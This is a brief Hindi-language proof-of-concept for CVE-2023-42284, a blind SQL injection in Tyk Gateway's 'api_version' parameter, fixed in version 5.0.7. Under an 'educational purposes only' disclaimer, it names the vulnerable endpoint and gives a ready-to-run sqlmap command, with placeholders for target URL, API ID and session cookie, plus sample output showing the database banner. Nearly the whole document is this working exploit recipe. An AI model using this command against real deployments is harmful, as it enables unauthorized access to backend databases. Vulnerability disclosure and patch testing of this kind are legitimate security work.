अस्वीकरण

केवल शैक्षिक उद्देश्य के लिए!

विवरण

CVE-2023-42284 के लिए प्रूफ ऑफ कॉन्सेप्ट। Tyk Gateway SQL इंजेक्शन के प्रति संवेदनशील है। 5.0.7 संस्करण में ठीक किया गया।

URL पैरामीटर 'api_version' जो कि "https://<YOUR_URL>/api/errors/count/...?res=day&p=...&api_version=<PAYLOAD_HERE>&api_id=..." में है, ब्लाइंड SQL इंजेक्शन के प्रति संवेदनशील है।

शोषण

निम्नलिखित पैरामीटर के साथ sqlmap का उपयोग करें:

python.exe .\sqlmap.py -u "https://<INSERT YOUR URL>/api/errors/count/11/8/2022/13/1/2022?res=day&p=-1&api_version=Non%20Versioned&api_id=<INSERT YOUR API_ID>" -p "api_version" --cookie="<INSERT COOKIE HERE> --banner

प्रतिक्रिया में SQL DB बैनर लौटाया जाता है:

...
banner: Postgresql 13.01 on x86_64-pc-linux-gnu
...